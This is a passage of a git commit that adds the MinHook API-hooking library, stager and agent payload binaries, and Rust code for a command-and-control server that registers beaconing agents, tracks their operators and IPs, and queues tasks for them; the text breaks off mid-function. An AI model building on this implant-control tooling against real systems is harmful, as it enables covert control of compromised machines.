!= NULL) + { + status = EnableAllHooksLL(FALSE); + if (status == MH_OK) + { + // Free the internal function buffer. + + // HeapFree is actually not required, but some tools detect a false + // memory leak without HeapFree. + + UninitializeBuffer(); + + HeapFree(g_hHeap, 0, g_hooks.pItems); + HeapDestroy(g_hHeap); + + g_hHeap = NULL; + + g_hooks.pItems = NULL; + g_hooks.capacity = 0; + g_hooks.size = 0; + } + } + else + { + status = MH_ERROR_NOT_INITIALIZED; + } + + LeaveSpinLock(); + + return status; +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal) +{ + MH_STATUS status = MH_OK; + + EnterSpinLock(); + + if (g_hHeap != NULL) + { + if (IsExecutableAddress(pTarget) && IsExecutableAddress(pDetour)) + { + UINT pos = FindHookEntry(pTarget); + if (pos == INVALID_HOOK_POS) + { + LPVOID pBuffer = AllocateBuffer(pTarget); + if (pBuffer != NULL) + { + TRAMPOLINE ct; + + ct.pTarget = pTarget; + ct.pDetour = pDetour; + ct.pTrampoline = pBuffer; + if (CreateTrampolineFunction(&ct)) + { + PHOOK_ENTRY pHook = AddHookEntry(); + if (pHook != NULL) + { + pHook->pTarget = ct.pTarget; +#if defined(_M_X64) || defined(__x86_64__) + pHook->pDetour = ct.pRelay; +#else + pHook->pDetour = ct.pDetour; +#endif + pHook->pTrampoline = ct.pTrampoline; + pHook->patchAbove = ct.patchAbove; + pHook->isEnabled = FALSE; + pHook->queueEnable = FALSE; + pHook->nIP = ct.nIP; + memcpy(pHook->oldIPs, ct.oldIPs, ARRAYSIZE(ct.oldIPs)); + memcpy(pHook->newIPs, ct.newIPs, ARRAYSIZE(ct.newIPs)); + + // Back up the target function. + + if (ct.patchAbove) + { + memcpy( + pHook->backup, + (LPBYTE)pTarget - sizeof(JMP_REL), + sizeof(JMP_REL) + sizeof(JMP_REL_SHORT)); + } + else + { + memcpy(pHook->backup, pTarget, sizeof(JMP_REL)); + } + + if (ppOriginal != NULL) + *ppOriginal = pHook->pTrampoline; + } + else + { + status = MH_ERROR_MEMORY_ALLOC; + } + } + else + { + status = MH_ERROR_UNSUPPORTED_FUNCTION; + } + + if (status != MH_OK) + { + FreeBuffer(pBuffer); + } + } + else + { + status = MH_ERROR_MEMORY_ALLOC; + } + } + else + { + status = MH_ERROR_ALREADY_CREATED; + } + } + else + { + status = MH_ERROR_NOT_EXECUTABLE; + } + } + else + { + status = MH_ERROR_NOT_INITIALIZED; + } + + LeaveSpinLock(); + + return status; +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget) +{ + MH_STATUS status = MH_OK; + + EnterSpinLock(); + + if (g_hHeap != NULL) + { + UINT pos = FindHookEntry(pTarget); + if (pos != INVALID_HOOK_POS) + { + if (g_hooks.pItems[pos].isEnabled) + { + FROZEN_THREADS threads; + status = Freeze(&threads, pos, ACTION_DISABLE); + if (status == MH_OK) + { + status = EnableHookLL(pos, FALSE); + + Unfreeze(&threads); + } + } + + if (status == MH_OK) + { + FreeBuffer(g_hooks.pItems[pos].pTrampoline); + DeleteHookEntry(pos); + } + } + else + { + status = MH_ERROR_NOT_CREATED; + } + } + else + { + status = MH_ERROR_NOT_INITIALIZED; + } + + LeaveSpinLock(); + + return status; +} + +//------------------------------------------------------------------------- +static MH_STATUS EnableHook(LPVOID pTarget, BOOL enable) +{ + MH_STATUS status = MH_OK; + + EnterSpinLock(); + + if (g_hHeap != NULL) + { + if (pTarget == MH_ALL_HOOKS) + { + status = EnableAllHooksLL(enable); + } + else + { + UINT pos = FindHookEntry(pTarget); + if (pos != INVALID_HOOK_POS) + { + if (g_hooks.pItems[pos].isEnabled != enable) + { + FROZEN_THREADS threads; + status = Freeze(&threads, pos, ACTION_ENABLE); + if (status == MH_OK) + { + status = EnableHookLL(pos, enable); + + Unfreeze(&threads); + } + } + else + { + status = enable ? MH_ERROR_ENABLED : MH_ERROR_DISABLED; + } + } + else + { + status = MH_ERROR_NOT_CREATED; + } + } + } + else + { + status = MH_ERROR_NOT_INITIALIZED; + } + + LeaveSpinLock(); + + return status; +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget) +{ + return EnableHook(pTarget, TRUE); +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget) +{ + return EnableHook(pTarget, FALSE); +} + +//------------------------------------------------------------------------- +static MH_STATUS QueueHook(LPVOID pTarget, BOOL queueEnable) +{ + MH_STATUS status = MH_OK; + + EnterSpinLock(); + + if (g_hHeap != NULL) + { + if (pTarget == MH_ALL_HOOKS) + { + UINT i; + for (i = 0; i < g_hooks.size; ++i) + g_hooks.pItems[i].queueEnable = queueEnable; + } + else + { + UINT pos = FindHookEntry(pTarget); + if (pos != INVALID_HOOK_POS) + { + g_hooks.pItems[pos].queueEnable = queueEnable; + } + else + { + status = MH_ERROR_NOT_CREATED; + } + } + } + else + { + status = MH_ERROR_NOT_INITIALIZED; + } + + LeaveSpinLock(); + + return status; +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget) +{ + return QueueHook(pTarget, TRUE); +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget) +{ + return QueueHook(pTarget, FALSE); +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_ApplyQueued(VOID) +{ + MH_STATUS status = MH_OK; + UINT i, first = INVALID_HOOK_POS; + + EnterSpinLock(); + + if (g_hHeap != NULL) + { + for (i = 0; i < g_hooks.size; ++i) + { + if (g_hooks.pItems[i].isEnabled != g_hooks.pItems[i].queueEnable) + { + first = i; + break; + } + } + + if (first != INVALID_HOOK_POS) + { + FROZEN_THREADS threads; + status = Freeze(&threads, ALL_HOOKS_POS, ACTION_APPLY_QUEUED); + if (status == MH_OK) + { + for (i = first; i < g_hooks.size; ++i) + { + PHOOK_ENTRY pHook = &g_hooks.pItems[i]; + if (pHook->isEnabled != pHook->queueEnable) + { + status = EnableHookLL(i, pHook->queueEnable); + if (status != MH_OK) + break; + } + } + + Unfreeze(&threads); + } + } + } + else + { + status = MH_ERROR_NOT_INITIALIZED; + } + + LeaveSpinLock(); + + return status; +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_CreateHookApiEx( + LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, + LPVOID *ppOriginal, LPVOID *ppTarget) +{ + HMODULE hModule; + LPVOID pTarget; + + hModule = GetModuleHandleW(pszModule); + if (hModule == NULL) + return MH_ERROR_MODULE_NOT_FOUND; + + pTarget = (LPVOID)GetProcAddress(hModule, pszProcName); + if (pTarget == NULL) + return MH_ERROR_FUNCTION_NOT_FOUND; + + if (ppTarget != NULL) + *ppTarget = pTarget; + + return MH_CreateHook(pTarget, pDetour, ppOriginal); +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_CreateHookApi( + LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal) +{ + return MH_CreateHookApiEx(pszModule, pszProcName, pDetour, ppOriginal, NULL); +} + +//------------------------------------------------------------------------- +const char *WINAPI MH_StatusToString(MH_STATUS status) +{ +#define MH_ST2STR(x) \ + case x: \ + return #x; + + switch (status) { + MH_ST2STR(MH_UNKNOWN) + MH_ST2STR(MH_OK) + MH_ST2STR(MH_ERROR_ALREADY_INITIALIZED) + MH_ST2STR(MH_ERROR_NOT_INITIALIZED) + MH_ST2STR(MH_ERROR_ALREADY_CREATED) + MH_ST2STR(MH_ERROR_NOT_CREATED) + MH_ST2STR(MH_ERROR_ENABLED) + MH_ST2STR(MH_ERROR_DISABLED) + MH_ST2STR(MH_ERROR_NOT_EXECUTABLE) + MH_ST2STR(MH_ERROR_UNSUPPORTED_FUNCTION) + MH_ST2STR(MH_ERROR_MEMORY_ALLOC) + MH_ST2STR(MH_ERROR_MEMORY_PROTECT) + MH_ST2STR(MH_ERROR_MODULE_NOT_FOUND) + MH_ST2STR(MH_ERROR_FUNCTION_NOT_FOUND) + } + +#undef MH_ST2STR + + return "(unknown)"; +} diff --git a/lib/minhook/src/trampoline.c b/lib/minhook/src/trampoline.c new file mode 100755 index 0000000..cf8ce05 --- /dev/null +++ b/lib/minhook/src/trampoline.c @@ -0,0 +1,320 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER + * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include + +#if defined(_MSC_VER) && !defined(MINHOOK_DISABLE_INTRINSICS) + #define ALLOW_INTRINSICS + #include +#endif + +#ifndef ARRAYSIZE + #define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0])) +#endif + +#if defined(_M_X64) || defined(__x86_64__) + #include "./hde/hde64.h" + typedef hde64s HDE; + #define HDE_DISASM(code, hs) hde64_disasm(code, hs) +#else + #include "./hde/hde32.h" + typedef hde32s HDE; + #define HDE_DISASM(code, hs) hde32_disasm(code, hs) +#endif + +#include "trampoline.h" +#include "buffer.h" + +// Maximum size of a trampoline function. +#if defined(_M_X64) || defined(__x86_64__) + #define TRAMPOLINE_MAX_SIZE (MEMORY_SLOT_SIZE - sizeof(JMP_ABS)) +#else + #define TRAMPOLINE_MAX_SIZE MEMORY_SLOT_SIZE +#endif + +//------------------------------------------------------------------------- +static BOOL IsCodePadding(LPBYTE pInst, UINT size) +{ + UINT i; + + if (pInst[0] != 0x00 && pInst[0] != 0x90 && pInst[0] != 0xCC) + return FALSE; + + for (i = 1; i < size; ++i) + { + if (pInst[i] != pInst[0]) + return FALSE; + } + return TRUE; +} + +//------------------------------------------------------------------------- +BOOL CreateTrampolineFunction(PTRAMPOLINE ct) +{ +#if defined(_M_X64) || defined(__x86_64__) + CALL_ABS call = { + 0xFF, 0x15, 0x00000002, // FF15 00000002: CALL [RIP+8] + 0xEB, 0x08, // EB 08: JMP +10 + 0x0000000000000000ULL // Absolute destination address + }; + JMP_ABS jmp = { + 0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6] + 0x0000000000000000ULL // Absolute destination address + }; + JCC_ABS jcc = { + 0x70, 0x0E, // 7* 0E: J** +16 + 0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6] + 0x0000000000000000ULL // Absolute destination address + }; +#else + CALL_REL call = { + 0xE8, // E8 xxxxxxxx: CALL +5+xxxxxxxx + 0x00000000 // Relative destination address + }; + JMP_REL jmp = { + 0xE9, // E9 xxxxxxxx: JMP +5+xxxxxxxx + 0x00000000 // Relative destination address + }; + JCC_REL jcc = { + 0x0F, 0x80, // 0F8* xxxxxxxx: J** +6+xxxxxxxx + 0x00000000 // Relative destination address + }; +#endif + + UINT8 oldPos = 0; + UINT8 newPos = 0; + ULONG_PTR jmpDest = 0; // Destination address of an internal jump. + BOOL finished = FALSE; // Is the function completed? +#if defined(_M_X64) || defined(__x86_64__) + UINT8 instBuf[16]; +#endif + + ct->patchAbove = FALSE; + ct->nIP = 0; + + do + { + HDE hs; + UINT copySize; + LPVOID pCopySrc; + ULONG_PTR pOldInst = (ULONG_PTR)ct->pTarget + oldPos; + ULONG_PTR pNewInst = (ULONG_PTR)ct->pTrampoline + newPos; + + copySize = HDE_DISASM((LPVOID)pOldInst, &hs); + if (hs.flags & F_ERROR) + return FALSE; + + pCopySrc = (LPVOID)pOldInst; + if (oldPos >= sizeof(JMP_REL)) + { + // The trampoline function is long enough. + // Complete the function with the jump to the target function. +#if defined(_M_X64) || defined(__x86_64__) + jmp.address = pOldInst; +#else + jmp.operand = (INT32)(pOldInst - (pNewInst + sizeof(jmp))); +#endif + pCopySrc = &jmp; + copySize = sizeof(jmp); + + finished = TRUE; + } +#if defined(_M_X64) || defined(__x86_64__) + else if ((hs.modrm & 0xC7) == 0x05) + { + // Instructions using RIP relative addressing. (ModR/M = 00???101B) + + // Modify the RIP relative address. + PUINT32 pRelAddr; + + // Avoid using memcpy to reduce the footprint. +#ifndef ALLOW_INTRINSICS + memcpy(instBuf, (LPBYTE)pOldInst, copySize); +#else + __movsb(instBuf, (LPBYTE)pOldInst, copySize); +#endif + pCopySrc = instBuf; + + // Relative address is stored at (instruction length - immediate value length - 4). + pRelAddr = (PUINT32)(instBuf + hs.len - ((hs.flags & 0x3C) >> 2) - 4); + *pRelAddr + = (UINT32)((pOldInst + hs.len + (INT32)hs.disp.disp32) - (pNewInst + hs.len)); + + // Complete the function if JMP (FF /4). + if (hs.opcode == 0xFF && hs.modrm_reg == 4) + finished = TRUE; + } +#endif + else if (hs.opcode == 0xE8) + { + // Direct relative CALL + ULONG_PTR dest = pOldInst + hs.len + (INT32)hs.imm.imm32; +#if defined(_M_X64) || defined(__x86_64__) + call.address = dest; +#else + call.operand = (INT32)(dest - (pNewInst + sizeof(call))); +#endif + pCopySrc = &call; + copySize = sizeof(call); + } + else if ((hs.opcode & 0xFD) == 0xE9) + { + // Direct relative JMP (EB or E9) + ULONG_PTR dest = pOldInst + hs.len; + + if (hs.opcode == 0xEB) // isShort jmp + dest += (INT8)hs.imm.imm8; + else + dest += (INT32)hs.imm.imm32; + + // Simply copy an internal jump. + if ((ULONG_PTR)ct->pTarget <= dest + && dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL))) + { + if (jmpDest < dest) + jmpDest = dest; + } + else + { +#if defined(_M_X64) || defined(__x86_64__) + jmp.address = dest; +#else + jmp.operand = (INT32)(dest - (pNewInst + sizeof(jmp))); +#endif + pCopySrc = &jmp; + copySize = sizeof(jmp); + + // Exit the function if it is not in the branch. + finished = (pOldInst >= jmpDest); + } + } + else if ((hs.opcode & 0xF0) == 0x70 + || (hs.opcode & 0xFC) == 0xE0 + || (hs.opcode2 & 0xF0) == 0x80) + { + // Direct relative Jcc + ULONG_PTR dest = pOldInst + hs.len; + + if ((hs.opcode & 0xF0) == 0x70 // Jcc + || (hs.opcode & 0xFC) == 0xE0) // LOOPNZ/LOOPZ/LOOP/JECXZ + dest += (INT8)hs.imm.imm8; + else + dest += (INT32)hs.imm.imm32; + + // Simply copy an internal jump. + if ((ULONG_PTR)ct->pTarget <= dest + && dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL))) + { + if (jmpDest < dest) + jmpDest = dest; + } + else if ((hs.opcode & 0xFC) == 0xE0) + { + // LOOPNZ/LOOPZ/LOOP/JCXZ/JECXZ to the outside are not supported. + return FALSE; + } + else + { + UINT8 cond = ((hs.opcode != 0x0F ? hs.opcode : hs.opcode2) & 0x0F); +#if defined(_M_X64) || defined(__x86_64__) + // Invert the condition in x64 mode to simplify the conditional jump logic. + jcc.opcode = 0x71 ^ cond; + jcc.address = dest; +#else + jcc.opcode1 = 0x80 | cond; + jcc.operand = (INT32)(dest - (pNewInst + sizeof(jcc))); +#endif + pCopySrc = &jcc; + copySize = sizeof(jcc); + } + } + else if ((hs.opcode & 0xFE) == 0xC2) + { + // RET (C2 or C3) + + // Complete the function if not in a branch. + finished = (pOldInst >= jmpDest); + } + + // Can't alter the instruction length in a branch. + if (pOldInst < jmpDest && copySize != hs.len) + return FALSE; + + // Trampoline function is too large. + if ((newPos + copySize) > TRAMPOLINE_MAX_SIZE) + return FALSE; + + // Trampoline function has too many instructions. + if (ct->nIP >= ARRAYSIZE(ct->oldIPs)) + return FALSE; + + ct->oldIPs[ct->nIP] = oldPos; + ct->newIPs[ct->nIP] = newPos; + ct->nIP++; + + // Avoid using memcpy to reduce the footprint. +#ifndef ALLOW_INTRINSICS + memcpy((LPBYTE)ct->pTrampoline + newPos, pCopySrc, copySize); +#else + __movsb((LPBYTE)ct->pTrampoline + newPos, (LPBYTE)pCopySrc, copySize); +#endif + newPos += copySize; + oldPos += hs.len; + } while (!finished); + + // Is there enough place for a long jump? + if (oldPos < sizeof(JMP_REL) + && !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL) - oldPos)) + { + // Is there enough place for a short jump? + if (oldPos < sizeof(JMP_REL_SHORT) + && !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL_SHORT) - oldPos)) + { + return FALSE; + } + + // Can we place the long jump above the function? + if (!IsExecutableAddress((LPBYTE)ct->pTarget - sizeof(JMP_REL))) + return FALSE; + + if (!IsCodePadding((LPBYTE)ct->pTarget - sizeof(JMP_REL), sizeof(JMP_REL))) + return FALSE; + + ct->patchAbove = TRUE; + } + +#if defined(_M_X64) || defined(__x86_64__) + // Create a relay function. + jmp.address = (ULONG_PTR)ct->pDetour; + + ct->pRelay = (LPBYTE)ct->pTrampoline + newPos; + memcpy(ct->pRelay, &jmp, sizeof(jmp)); +#endif + + return TRUE; +} diff --git a/lib/minhook/src/trampoline.h b/lib/minhook/src/trampoline.h new file mode 100755 index 0000000..f7efb36 --- /dev/null +++ b/lib/minhook/src/trampoline.h @@ -0,0 +1,105 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER + * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#pragma once + +#pragma pack(push, 1) + +// Structs for writing x86/x64 instructions. + +// 8-bit relative jump. +typedef struct _JMP_REL_SHORT +{ + UINT8 opcode; // EB xx: JMP +2+xx + INT8 operand; // Relative destination address +} JMP_REL_SHORT, *PJMP_REL_SHORT; + +// 32-bit direct relative jump/call. +typedef struct _JMP_REL +{ + UINT8 opcode; // E9/E8 xxxxxxxx: JMP/CALL +5+xxxxxxxx + INT32 operand; // Relative destination address +} JMP_REL, *PJMP_REL, CALL_REL; + +// 64-bit indirect absolute jump. +typedef struct _JMP_ABS +{ + UINT8 opcode0; // FF25 00000000: JMP [+6] + UINT8 opcode1; + UINT32 dummy; + UINT64 address; // Absolute destination address +} JMP_ABS, *PJMP_ABS; + +// 64-bit indirect absolute call. +typedef struct _CALL_ABS +{ + UINT8 opcode0; // FF15 00000002: CALL [+6] + UINT8 opcode1; + UINT32 dummy0; + UINT8 dummy1; // EB 08: JMP +10 + UINT8 dummy2; + UINT64 address; // Absolute destination address +} CALL_ABS; + +// 32-bit direct relative conditional jumps. +typedef struct _JCC_REL +{ + UINT8 opcode0; // 0F8* xxxxxxxx: J** +6+xxxxxxxx + UINT8 opcode1; + INT32 operand; // Relative destination address +} JCC_REL; + +// 64bit indirect absolute conditional jumps that x64 lacks. +typedef struct _JCC_ABS +{ + UINT8 opcode; // 7* 0E: J** +16 + UINT8 dummy0; + UINT8 dummy1; // FF25 00000000: JMP [+6] + UINT8 dummy2; + UINT32 dummy3; + UINT64 address; // Absolute destination address +} JCC_ABS; + +#pragma pack(pop) + +typedef struct _TRAMPOLINE +{ + LPVOID pTarget; // [In] Address of the target function. + LPVOID pDetour; // [In] Address of the detour function. + LPVOID pTrampoline; // [In] Buffer address for the trampoline and relay function. + +#if defined(_M_X64) || defined(__x86_64__) + LPVOID pRelay; // [Out] Address of the relay function. +#endif + BOOL patchAbove; // [Out] Should use the hot patch area? + UINT nIP; // [Out] Number of the instruction boundaries. + UINT8 oldIPs[8]; // [Out] Instruction boundaries of the target function. + UINT8 newIPs[8]; // [Out] Instruction boundaries of the trampoline function. +} TRAMPOLINE, *PTRAMPOLINE; + +BOOL CreateTrampolineFunction(PTRAMPOLINE ct); diff --git a/payloads/agent_template.exe b/payloads/agent_template.exe new file mode 100755 index 0000000..a180719 Binary files /dev/null and b/payloads/agent_template.exe differ diff --git a/payloads/stager_template.exe b/payloads/stager_template.exe new file mode 100755 index 0000000..75746fb Binary files /dev/null and b/payloads/stager_template.exe differ diff --git a/payloads/zerin.exe b/payloads/zerin.exe new file mode 100755 index 0000000..412a53d Binary files /dev/null and b/payloads/zerin.exe differ diff --git a/payloads/zerin_template.exe b/payloads/zerin_template.exe new file mode 100755 index 0000000..765d313 Binary files /dev/null and b/payloads/zerin_template.exe differ diff --git a/src/.DS_Store b/src/.DS_Store new file mode 100644 index 0000000..6474520 Binary files /dev/null and b/src/.DS_Store differ diff --git a/src/agents/mod.rs b/src/agents/mod.rs new file mode 100755 index 0000000..8de8b09 --- /dev/null +++ b/src/agents/mod.rs @@ -0,0 +1,493 @@ +use chrono::{DateTime, Utc}; +use dashmap::{DashMap, DashSet}; +use serde::{Deserialize, Serialize}; +use sqlx::PgPool; +use std::collections::VecDeque; +use std::sync::Arc; +use tracing::{info, warn}; + +use crate::events::EventBus; +use crate::protocol::{CheckIn, Task}; + +/// Live status of an agent. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "lowercase")] +pub enum AgentStatus { + Alive, + Stale, + Dead, +} + +impl std::fmt::Display for AgentStatus { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + AgentStatus::Alive => write!(f, "alive"), + AgentStatus::Stale => write!(f, "stale"), + AgentStatus::Dead => write!(f, "dead"), + } + } +} + +/// Full in-memory state for a single agent. +#[derive(Debug, Clone)] +pub struct AgentState { + pub agent_id: String, + pub checkin_data: CheckIn, + pub session_key: [u8; 32], + pub first_seen: DateTime, + pub last_seen: DateTime, + pub status: AgentStatus, + pub listener_id: String, + pub external_ip: String, + pub task_queue: VecDeque, + pub sequence_number: u64, + /// Timestamp when the agent was first marked Dead (for eviction). + pub dead_since: Option>, + /// Operator who owns this agent (via payload built_by). Empty = unattributed (admin-only). + pub owner: String, + /// Whether this agent is banned (reject future check-ins). + pub banned: bool, +} + +/// Thread-safe registry of all connected agents. +#[derive(Debug, Clone)] +pub struct AgentRegistry { + pub agents: Arc>, + /// Agent IDs that have been touched since the last DB flush. + dirty_agents: Arc>, +} + +impl AgentRegistry { + pub fn new() -> Self { + Self { + agents: Arc::new(DashMap::new()), + dirty_agents: Arc::new(DashSet::new()), + } + } + + /// Register a brand-new agent from its initial check-in. + pub fn register_agent( + &self, + agent_id: String, + mut checkin: CheckIn, + session_key: [u8; 32], + listener_id: String, + external_ip: String, + owner: String, + ) { + // Enforce minimum sleep interval (1 second) to prevent DoS via + // ultra-fast beaconing. + if checkin.sleep_interval == 0 { + checkin.sleep_interval = 1; + } + + let now = Utc::now(); + let mut task_queue = VecDeque::new(); + + // BUG 7 FIX: Preserve pending tasks from previous registration + if let Some(old_entry) = self.agents.get(&agent_id) { + if !old_entry.task_queue.is_empty() { + warn!( + agent_id = %agent_id, + pending = old_entry.task_queue.len(), + "Re-registration: preserving {} pending tasks from previous entry", + old_entry.task_queue.len() + ); + task_queue = old_entry.task_queue.clone(); + } + } + + // Use a random starting sequence number on (re-)registration to prevent + // replay attacks that rely on predicting sequence values after reconnect. + let initial_seq = rand::random::() as u64; + + let state = AgentState { + agent_id: agent_id.clone(), + checkin_data: checkin, + session_key, + first_seen: now, + last_seen: now, + status: AgentStatus::Alive, + listener_id, + external_ip, + task_queue, + sequence_number: initial_seq, + dead_since: None, + owner, + banned: false, + }; + self.agents.insert(agent_id, state); + } + + /// Load agents from the database on startup to repopulate the in-memory registry. + pub async fn load_from_db(&self, pool: &PgPool) { + let agents = match crate::db::queries::get_all_agents(pool).await { + Ok(a) => a, + Err(e) => { + warn!("Failed to load agents from DB: {}", e); + return; + } + }; + + let session_keys = match crate::db::queries::get_all_session_keys(pool).await { + Ok(k) => k, + Err(e) => { + warn!("Failed to load session keys from DB: {}", e); + return; + } + }; + + let key_map: std::collections::HashMap> = session_keys.into_iter().collect(); + + let mut loaded = 0u32; + let now = Utc::now(); + for (checkin, listener_id, external_ip, owner, first_seen_str, last_seen_str) in agents { + // Parse timestamps from DB; fall back to now if unparseable + let first_seen = chrono::NaiveDateTime::parse_from_str(&first_seen_str, "%Y-%m-%d %H:%M:%S%.f") + .map(|ndt| ndt.and_utc()) + .unwrap_or(now); + let last_seen = chrono::NaiveDateTime::parse_from_str(&last_seen_str, "%Y-%m-%d %H:%M:%S%.f") + .map(|ndt| ndt.and_utc()) + .unwrap_or(now); + let agent_id = checkin.agent_id.clone(); + let session_key = match key_map.get(&agent_id) { + Some(k) if k.len() == 32 => { + let mut arr = [0u8; 32]; + arr.copy_from_slice(k); + arr + } + _ => continue, // Skip agents without a valid session key + }; + + // Compute correct status from last_seen and sleep interval + let interval = std::time::Duration::from_secs(checkin.sleep_interval.max(1) as u64); + let elapsed = (now - last_seen).to_std().unwrap_or(std::time::Duration::from_secs(u64::MAX)); + let (status, dead_since) = if elapsed > interval * 10 { + (AgentStatus::Dead, Some(last_seen + chrono::Duration::from_std(interval * 10).unwrap_or(chrono::Duration::seconds(600)))) + } else if elapsed > interval * 3 { + (AgentStatus::Stale, None) + } else { + (AgentStatus::Alive, None) + }; + + let state = AgentState { + agent_id: agent_id.clone(), + checkin_data: checkin, + session_key, + first_seen, + last_seen, + status, + listener_id, + external_ip, + task_queue: VecDeque::new(), + sequence_number: 0, + dead_since, + owner, + banned: false, // Will be loaded from DB when ban_agent/is_agent_banned is called + }; + self.agents.insert(agent_id, state); + loaded += 1; + } + + info!(count = loaded, "Loaded agents from database into registry"); + } + + /// Set the status of an agent (and update the DB). + pub fn set_agent_status(&self, agent_id: &str, status: AgentStatus) { + if let Some(mut entry) = self.agents.get_mut(agent_id) { + if status == AgentStatus::Dead && entry.dead_since.is_none() { + entry.dead_since = Some(Utc::now()); + } + if status != AgentStatus::Dead { + entry.dead_since = None; + } + entry.status = status; + } + } + + /// Update last_seen and mark the agent alive. + /// The DB write is deferred — call `flush_last_seen` periodically. + pub fn touch_agent(&self, agent_id: &str) { + if let Some(mut entry) = self.agents.get_mut(agent_id) { + entry.last_seen = Utc::now(); + entry.status = AgentStatus::Alive; + entry.dead_since = None; + self.dirty_agents.insert(agent_id.to_string()); + } + } + + /// Flush all pending last_seen updates to the database in a single transaction. + /// Call this from a background task every few seconds. + pub async fn flush_last_seen(&self, pool: &PgPool) { + // Drain the dirty set atomically + let ids: Vec = self.dirty_agents.iter().map(|r| r.key().clone()).collect(); + for id in &ids { + self.dirty_agents.remove(id); + } + + if ids.is_empty() { + return; + } + + // Batch UPDATE in a single transaction + let mut tx = match pool.begin().await { + Ok(tx) => tx, + Err(e) => { + warn!("flush_last_seen: failed to begin transaction: {}", e); + return; + } + }; + + for id in &ids { + if let Err(e) = sqlx::query( + "UPDATE agents SET last_seen = CURRENT_TIMESTAMP, status = 'alive' WHERE agent_id = $1" + ) + .bind(id) + .execute(&mut *tx) + .await + { + warn!(agent_id = %id, "flush_last_seen: update failed: {}", e); + } + } + + if let Err(e) = tx.commit().await { + warn!("flush_last_seen: commit failed: {}", e); + } + } + + /// Maximum pending tasks per agent before rejecting new ones. + const MAX_QUEUE_SIZE: usize = 1024; + + /// Push a task onto an agent's queue. Returns false if agent not found + /// or if the queue is full. + pub fn queue_task(&self, agent_id: &str, task: Task) -> bool { + if let Some(mut entry) = self.agents.get_mut(agent_id) { + if entry.task_queue.len() >= Self::MAX_QUEUE_SIZE { + warn!(agent_id = %agent_id, "Task queue full ({} tasks), rejecting", Self::MAX_QUEUE_SIZE); + return false; + } + entry.task_queue.push_back(task); + true + } else { + 